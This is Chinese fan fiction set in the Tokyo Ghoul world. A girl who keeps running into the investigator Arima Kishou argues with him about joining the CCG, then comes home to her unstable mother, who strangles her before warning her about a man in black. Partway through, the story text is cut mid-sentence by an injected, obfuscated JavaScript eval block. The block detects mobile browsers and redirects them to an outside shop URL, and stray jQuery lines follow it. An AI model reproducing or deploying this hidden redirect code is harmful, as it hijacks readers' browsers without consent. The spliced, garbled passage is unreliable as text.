有马贵将是一个矛盾的人,我花了很长时间才看清这一点。
起初我只是觉得困惑。那些偶然发生得太频繁了,图书馆附近的街道、与学校相隔一条街的公园长椅、每天放学后会去的咖啡店,他出现在这些地方的概率高得不像对我避之不及。
我有时能碰见他,有时不能。碰见的时候,他总是一个人行色匆匆,有时又只是倚在某个不起眼的角落,目光投向远处,像一株长在阴影里的树。
每当看到我,他原本流畅的步伐会出现一个极其短暂的凝滞,很快又恢复正常,逐渐变成无数背影中的一个。
我见过流浪猫,冬天的时候,它们会蹲在暖气管道上方把自己缩成小小的一团,耳朵贴着地面,捕捉地下传来的细微震动。它们明明在期待着一只手,一点食物,一个可以让它们熬过今夜的理由。可当我真的走过去,它们又会竖起全身的毛,弓起背,喉咙里发出呜呜的警告,眼睛瞪得又大又圆。
有马贵将就是那只猫。
如果他铁了心要躲我,大可以接一个区外的任务,这对他来说轻而易举。CCG的势力像蛛网一样遍布日本的每一个街角,搜查官的身份意味着他可以去任何地方,把这段莫名其妙的纠缠彻底封存。
他从不等我,又像怕我找不到他。
于是他只能接受,沉默地接过温热的咖啡,默许我将热呼呼的栗子塞进他大衣口袋;在我提醒他加衣时,下意识拢一下本就单薄的衣襟。
我能感觉到他观察的目光。在我低头写字时,在我望着远处发呆时,在我将暖手宝不由分说塞进他冰冷的手心时。目光里审视依旧,困惑未减,但逐渐掺杂了一丝别的——一种缓慢的、不解的探究。
他在观察“喜欢”这种情感如何在我身上具象成持之以恒的温暖和不含索求的给予。他或许在思考,究竟是一种怎样的力量才能够穿透他筑起的高墙,无视他笨拙的回避,固执地存在着。
东京的春日以缓慢的速度渗透进空气里。白天渐长,风中的凛冽被一种温吞的潮意取代,吹在脸上不再像刀刮,更像湿润的拂拭。我沉溺在一种奇异的安稳氛围里,我们维持着心照不宣的“偶然”。有马出现在我生活轨迹的延长线上,像一道沉默的、移动的坐标,沾染着逐渐升起的暖意。我见到他时,他或倚或站,目光常投向虚无的远处,侧脸线条在逐渐柔和的春光里。
我遵循着那条无形的规则:不过分靠近,不追问缘由,只是像对待一个恰好路过的、不太熟悉的朋友,递上一点微不足道的关心。一杯咖啡,一包还烫手的栗子,一句关于天气的寻常提醒。
他接受的姿态越来越习惯,不再有最初全身紧绷的抗拒,只是垂下眼睫,喉结轻滚,从鼻腔里发出一个几不可闻的、算是应答的短促气音。
这种习惯本身,就像冰封的河面下悄然涌动的水流,让我感到奢侈的满足。我甚至开始觉得,我们或许可以就这样持续下去,像两条永不相交的平行线,隔着一段安全的距离分享同一片时空的寂静。
暮色四合的傍晚,我在图书馆待到闭馆铃响,抱着几本厚重的文献走出来。街灯刚刚亮起,投下昏黄的光晕。空气里有植物萌发和新翻泥土的气息。
我很容易看见了那辆车——一辆黑色的、款式低调的轿车,停在图书馆侧方平时少有车辆经过的小路旁,几乎融进渐浓的暮色里。
暮色流淌在身上,我在驾驶座旁的车窗前停下,玻璃上映出我身后摇曳的树影。我屈起食指,用指节在深色的车窗上,不轻不重地敲了两下。
“叩、叩。”
声音在寂静的暮色里异常清晰。
车内毫无动静,仿佛真的只是一辆空车。几秒钟后,车窗毫无征兆地降下了一小半。
熟悉的轮廓出现在逐渐扩大的缝隙里。有马贵将依旧没有看我,目光平视着前方空无一人的街道,下颌线绷得有些紧。车内没有开灯,仪表盘幽蓝的光映亮了他抿直的唇线和握住方向盘的手。
“有马君,好巧噢。”我笑着说道。
他的睫毛似乎颤动了一下,仍旧没有转头,只是从喉咙里极低地“嗯”了一声,算是回应。
我抱着书,微微弯腰,让视线能与他偏转过来的余光接触。“那个……时间有点晚了,这条路挺安静的。”我顿了顿,仿佛只是提出一个再自然不过的请求,“可以麻烦你送我一段吗?到前面的地铁站就好。”
说完,我安静地等待着。目光落在他握着方向盘的手上。他没有动,手背上细微的筋络似乎更清晰了些。
最终,那紧绷的下颌线几不可察地松动了一丝,有马贵将朝着副驾驶座的方向,偏了一下头。
“上来吧。”
心口悬着的石头悄然落地,我绕到副驾驶一侧拉开车门。车内温暖的气息扑面而来,混合着皮革和属于他的清冷味道。我坐进去,将厚重的书本抱在膝头。
“谢谢。”我系好安全带,小声说。
他依旧没有回应,在我坐稳的瞬间,重新升起了驾驶座旁的车窗。密闭的空间瞬间将暮色与晚风隔绝在外,世界被收拢进狭小温暖的方寸之地。车灯亮起,切开前方渐浓的夜色。
暖风烘得人有些昏沉,方才敲开车窗的冲动逐渐沉淀,取而代之的是一种想要靠近的渴望,我不想让沉默填满这段短暂的同路。
“今天图书馆靠窗的位置终于没有奇怪的人了。”我抱着膝头的书,侧过身,语气轻快地分享今天的见闻,“前阵子总有个胖胖的大叔在,不光睡觉还要大声打鼾,管理员提醒好几次都没用,今天保安过来把他请走了。”
“啊,对了,”我继续说着,提起寻常的校园琐事,“放学的时候班导老师找我谈话,问我对未来升学有什么想法,想上什么大学,想读什么专业之类的……”
我放慢语速,目光落在他被路灯流光偶尔掠过的侧脸上。
“我说,我想去‘喰种关系学’。有马君,你觉得怎么样?”
话音落下的瞬间,有马贵将的眉头明显蹙了一下,他的嘴唇抿得更紧,视线依旧固定在挡风玻璃外流淌的霓虹上。
“不好。”
预料之中的否定,但真的听到时,心头还是像被细针轻轻扎了一下。我抿了抿唇,很快调整表情,换上更轻松的语气:“那赫包研究呢,或者Rc细胞分析之类的,这些应该很实用吧?新闻里的报道说研究人员一直都挺匮乏的,CCG的招募公告常年挂着,待遇开得还挺高的?”
这一次他的拒绝来得更快。
“不好。”
两记小小的冰雹,继续敲在我上扬的情绪上。
一股闷气涌上心头,我终于忍不住了,脸颊微微鼓起。
“为什么不管我说什么,你都说不好?” 我转过头,更直接地看着他线条冷硬的侧脸,“研究喰种、研究他们和人类的关系,这些不都是很有意义、也很重要的领域吗?”
他似乎没料到我会这样直接地追问,握着方向盘的手明显地收紧了一下。
“没有为什么。”他的视线依旧锁在前方的道路,侧脸线条在流动的光影中显得格外冷峻,“这些都不适合你。”
那种熟悉的、被他不由分说推开的无力感又涌了上来。我垂下眼,手指无意识地抠着怀里的书脊,声音低了下去:“可是……我只是想了解更多,想找到自己真正想做的事。难道连了解都不可以吗?”
红灯的倒计时数字无声跳动,斑斓的霓虹灯光淌进车内,映亮我低垂的睫毛和紧紧咬住的下唇。
他的沉默在蔓延,比直接的否定更让人难受,像一层无形的膜,将我所有的尝试都隔绝在外。
过了许久,他终于偏过头看了我一眼,眼底清晰地映出我此刻执拗的模样。
“那些都是搜查官培训学校,以及相关机构内部设立的专业。你难道打算进入CCG工作么?”
我愣住了。
脸颊上鼓起的、略带着赌气意味的弧度瞬间塌了下去,尴尬和小小心思被戳破的慌乱像潮水一样涌上来,从头到脚淹没了我。
我的手指无意识地攥紧了膝头的书。
“那,那个……多巧啊,有马君也在那里上过学吗?”我的声音已经开始发飘,像一艘在风浪中失去了方向的小船,“其实我觉得我适应能力挺强的,任何重要的领域不都伴随着挑战吗?而且,就算我不能像你一样站在前线,但我也可以做研究,做分析,做支持性的工作——CCG的研究设备是全日本最完善的……”
“不行。”他的声音陡然转冷,带着不容置疑的严厉,“不要对喰种产生兴趣,更不要对CCG感到好奇。”
我被他的斩钉截铁噎住,一股闷气堵在胸口。为什么他总是这样?为什么他总能这样轻易地、武断地为我画下界限?
“那对你呢?对你也不能产生兴趣吗?”我紧盯着他,问道,“有马君,你也是CCG的一部分,不是吗?”
车子猛地轻微一晃,随即被他稳稳控住。他侧过头,长时间地看向我。那眼神很深,像漆黑的寒潭,底下翻涌着类似于焦躁的东西。
“所以从今天开始,不要再对我感兴趣了。”
我的心口像是被什么东西攥紧了,又酸又胀。车窗外的景色在倒退,离家越来越近。那种被他全盘否定、推至千里之外的感觉,混合着长久以来小心翼翼靠近却总触不到实处的委屈,在封闭的车厢里发酵、膨胀。
“这里不适合你。”他的声音恢复了平静,比任何时刻都显得疏离,“长大以后离开东京,去一个更安全、远离这些事的地方,普通地生活。”
车子缓缓停在家附近的街口。引擎低鸣,路灯苍白的光透过车窗,将我们分隔在明暗两侧。
普通地生活?
什么是普通的生活?是继续被关在一个安排好的、与世隔绝的玻璃罩里吗?
那我这些日子的坚持又算什么?
愤怒终于冲垮了理智的堤防,我猛地解开安全带,抱起书,拉开车门。夜风灌入,吹冷了脸上最后一点强撑的表情。
我跳下车,隔着敞开的车门,对着车内那个依然挺直,仿佛与整个世界都隔着一层玻璃的身影,用颤抖的声音喊道:
“你凭什么替我决定这些!谁能管的住自己的心,你管得到我吗?你又不是我男朋友!”
话音砸碎在夜晚的寂静里,尖锐的回音让我自己都愣住了,脸颊瞬间烧了起来。巨大的羞耻和更汹涌的难过席卷而来,我狠狠咬住下唇,再也不看车内一眼,头也不回地跑向家的方向。
有马贵将根本不理解我,他只是简单的把我想进入CCG的理由理解为我想更方便的粘着他——可根本就不是那样的。
我闷头跑到家门口,始终能感觉到后背落着一道沉静的视线,像被沉甸甸的月光压着。但今晚,此刻!至少现在我不想理他。我粗暴地翻找着书包,钥匙串发出哗啦啦的脆响,在过分安静的街道上显得格外刺耳。
钥匙终于被捏在汗湿的掌心,我将其插进锁孔。就在拧动的刹那,我的动作僵住了。
街道空旷,只有几盏孤零零的路灯晕开昏暗的光圈。我下意识抬头,望向二楼母亲卧室的窗户,那里依旧一片漆黑。
可是……
我能听到从里面传来的脚步声,家里分明是有人在活动。
我的手僵在那里,指尖悬在门把手上迟迟没有拧动,身后,停在街边的黑色轿车持续不断的发出低沉嗡鸣,它还没走。
我的呼吸急促起来,理智在疯狂尖叫,我希望有人能来帮帮我,但如果此刻转身,如果投向身后那片由他守护的地方,那么我和这个摇摇欲坠的家之间,最后一根脆弱的丝线会不会就此崩断?
妈妈还在里面,无论里面等着我的是什么。那个曾经会在我做噩梦时轻轻哼歌、会笨拙地为我扎辫子的女人,她的一部分一定还在那里,在等着我回去。我不能把她一个人丢在漫长的黑暗里,就像童年时她从未丢下过我一样。
僵持仿佛有一个世纪那么久。就在我几乎要被黑暗和寂静吞噬,心脏狂跳得快要冲出喉咙时——
身后的汽车引擎声戛然而止,我听到了开门的声音。
彻底的寂静轰然降临,最后一道安全绳也断了。有马贵将那么聪明,他一定是发现了什么异样。我苦笑着想,他来之不易的关心似乎总出现的那么不合时宜,如果他在学校、图书馆、在任何寻常的地方突然追上来,他甚至不需要说任何话,我就已经丢盔弃甲,把所有刚才喊出来的、没喊出来的、想说而不敢说的,统统倒出来。
但此时此刻我没得选择,即使里面是深渊我也必须跳进去,因为那是我仅有的归处。
在他试图接近我的瞬间,我扭头恶狠狠地瞪他一眼,凶巴巴的表情果然让他立刻止住了脚步,我猛地拧开钥匙,推门闪身而入,反手重重将门关上。
黑暗瞬间包裹了我。
熟悉的玄关气味,淡淡的木头、灰尘和昨日插花的残余香气,似乎并无异样。我背靠着冰凉的门板急促的喘息着,努力睁大眼睛适应黑暗。视觉失灵,其他感官便尖锐起来。
有声音。
轻微的、窸窸窣窣的声响,从房子深处的厨房方向传来。我的血液几乎要冻住。手摸向墙上的开关。
“啪。”
灯光瞬间充满玄关,驱散了近处的黑暗,却让通往客厅和厨房的走廊尽头显得更加幽深莫测。那窸窣声,在开灯的瞬间似乎停顿了一秒。
“妈妈……?”我试探着,声音干涩。
无人应答。
我脱下鞋子,赤脚踩在微凉的地板上,悄无声息地朝厨房挪去。越靠近,那声音越清晰,像潮水有节奏的拍打。
厨房的门虚掩着,里面没有开灯。昏暗的光线从客厅窗户透入,勉强勾勒出水槽和料理台的轮廓。一个身影背对着我,站在水槽前。
是母亲。
她的头发松松挽着,正低头全神贯注地忙碌。那种持续的、黏腻的摩擦声,正是从她手部传来的。
“妈妈?”我惊喜的叫了一声,伸手摸向厨房门口的开关,“你怎么不开灯?”
“回来了。”母亲的声音传来,语调平稳,甚至算得上温和,与她曾经正常的时候并无二致。
灯光再次亮起,照亮了整个厨房。一切看起来井然有序,灶台干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580500|205098||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
净,碗碟摆放整齐。母亲站在水槽边,面前放着一个沥水篮,里面有几个红艳艳的苹果。
银色的刀锋紧贴着果皮,旋转着推下连绵不断的红色果皮条。削下来的皮整齐地堆叠在水槽的一角,已经积了不小的一堆。
我松了口气,走近两步,“你出去过吗?哪里来的这么多苹果?”
“芳村叔叔给的,他今天来给我送药,顺便还给你带了一些水果。”母亲依旧没有回头,目光紧紧追随着刀尖, “苹果要多吃,对身体好。他听售货员讲这个品种很甜,你一会儿尝尝。”
她的语气、用词,都再正常不过,甚至记得关心我。可正是这种“正常”,在深夜独自一人、不开灯、持续不断地削着过量苹果的衬托下,还是诡异的让人心底发毛。
我的视线不由自主地落在她手上。她的动作娴熟,每一次下刀的角度力度都异常精准。水槽里堆积的果皮此刻看起来有些发黑,边缘开始微微卷曲、干瘪。
“妈妈,”我小心翼翼地又靠近一点,试图看清她的侧脸,“你……没事吧?是不是又睡不着了?”
这时,她的动作忽然极其短暂地停顿了一下,刀尖在苹果光滑的表面上划过一道极浅的白痕。
“我能有什么事。”她终于微微侧过头,对我露出一个微笑,眼神似乎也看向了我。但目光的焦点却是涣散,仿佛穿透了我,落在我身后的虚空上。
“我就是觉得这些皮看着不太舒服。”她轻声说,转回头,继续摆弄手中的苹果,声音低得像自言自语,“得弄得干净点,都弄干净就好了。”
刀锋稳健地推进,又一个苹果变得光洁。盘子里已经摆了十多个削好的苹果,空气里的甜香浓得发腻,混合着果皮开始氧化变质的微酸,隐隐令人作呕。
母亲走过来,拉着我的手将我带到餐桌前,将用叉子叉起一小块果肉送到了我的嘴边,“吃点吧,真晞。”
她的指尖还沾着湿润的果渍,我看着她的眼睛,那里有一种我渴望已久的、专注的温柔。我想让她像曾经一样爱我,阔别已久的爱可以让我吞下任何东西。
我张嘴,用力咬了下去。
我想让她爱我。
果肉清脆,汁水丰盈。吞咽时喉头依旧一阵阵地发紧,我强迫自己把整块都吃下去,慢慢地嚼着。母亲看着我,脸上露出满足的笑意,继续拿起下一个。
我就这样一口一口,机械地进食,甜味在口腔里蔓延,始终无法抵达心底。我甚至生出一种自虐般的快意——看,我可以忍受,我可以吞下这一切,包括这不正常的平静,包括对未来、对CCG、对有马贵将那些无处安放的思绪,也包括母亲眼中死寂的温柔。
盘子里的苹果被我吃掉很多,母亲递来第六个。
“好吃吗?”
“嗯。”
“好吃就好。”她轻声说,手里的刀继续旋转。“给你爸爸也留几个,他回来吃,他最喜欢吃苹果了。”
我咀嚼的动作一顿。
喉咙里的果肉突然变得难以下咽,像一团浸透了糖浆的棉絮,堵在食道中间。
父亲最后一次削苹果给我是几年前的事,他削皮的技术不好,总是削得很厚,果肉被带下来一大片,最后剩下的苹果比原来的小了一圈。但他削得很认真,低着头,抿着嘴,刀锋一点一点地推进,削完了还要把果核挖出来,切成小块,插好牙签,递给我。
妈妈会笑他削皮技术差,他也会笑,对我说“看,妈妈总是很嫌弃爸爸”。
我很久没有听到这种对话了。
我已经很久没有听到他的声音了。
疲惫感忽然像潮水般涌上来,身体上的,心脏里的,对一切无法掌控之事的深深厌倦,一切都在消耗着我。
我感到累极了。为所有说不通的话,为所有达不到的岸,为这个仿佛永远在修补却始终漏风的家。
我吐出嘴里的棉絮,将果核丢进垃圾桶里。
“妈妈,”我平静的说道,“爸爸已经去世很久了。”
时间瞬间凝固了。
母亲削皮的动作猛然顿住。刀尖深深嵌进苹果的果肉里,汁液缓缓渗出,沿着银亮的刀锋流到她骤然僵硬的手上。
她缓慢地、一格一格地转过头来看我。温和平静的面具像脆弱的石膏一样片片剥落,瞳孔在灯光下急剧收缩,里面有什么东西碎了,又迅速被另一种狂暴的、混乱的东西填满。
“你……胡说……”她的嘴唇开始颤抖,声音从齿缝里挤出来,尖细而扭曲,“他马上就回来……苹果……苹果要给他……”
下一秒,她像一头被刺伤的野兽般扑了过来,冰凉的手指死死掐住了我的脖子,力道大得让我瞬间窒息,眼前发黑,头皮被撕扯的剧痛传来。
但我没有挣扎,喉咙被压迫着,我甚至微微仰起头,让她的手更方便用力。疼痛和窒息感如此真实,奇异地让我感到解脱。
透过模糊的泪水,我盯着她近在咫尺的扭曲的脸。从几乎无法张合的嘴唇里挤出破碎的气音,问出了那个也许早该问的问题——
“妈妈,爸爸……到底……是怎么死的?”
这像一句突兀的咒语。
母亲疯狂的动作骤然停止,掐着我脖子的手像被烫到一样猛地松开。空气重新涌入我的肺部,像决堤的洪水般不顾一切地冲进来。她踉跄着后退一步,撞在水槽边缘,鲜艳的果皮被打翻,撒了一地。
她瞪着我,胸脯剧烈起伏,脸上的暴怒和疯狂又像潮水般退去,露出底下苍白如纸的脆弱和深不见底的恐惧。她看着自己刚刚行凶的双手,又看着我脖子上迅速浮现的红色指痕和被扯乱的头发,痛苦终于击垮了她。
“啊……啊……”喉咙里发出不成调的呜咽,眼泪毫无预兆地汹涌而出,她再次变回了那个支离破碎的普通女人。
她猛地扑上来,用颤抖的双臂紧紧地抱住我,把脸埋在我肩头,哭声压抑而悲痛欲绝。“对不起……对不起……真晞,妈妈不是故意的……我控制不住……”
我任由她抱着,脖子上火辣辣地疼,心里早已只剩冰凉的麻木。
我知道母亲控制不住,她的精神链条已经断掉了,清醒的时刻会越来越少,最终她会完全活在自己的世界里。但我也是她的至亲,我也是她的家人。为什么我就必须懂事,必须理解,必须在被她掐住脖子的时候想着“这不是她的错”、吞下所有的委屈和恐惧?
谁来理解我呢。
我该怎么样才能救救她呢?
她哭得上气不接下气,像一条被石头阻断的溪流,流一段,停一下,酝酿够了情绪再接着流。在我耳边断断续续地、用极度恐惧的气声说:“记住……你一定要记住……如果以后……看到一身黑色,戴着黑色帽子的人…… 帽檐压得很低……看不清脸……”
她的手臂收紧,勒得我生疼,声音抖得不成样子。
“不要看他的眼睛……不要问任何话……头也不回地逃跑!快跑!听到没有!快跑!”
她反复念叨着“快跑”,仿佛那是烙在她灵魂里的最后一句警告。然后,她的力气仿佛随着这句警告一起耗尽,身体软软地滑下去。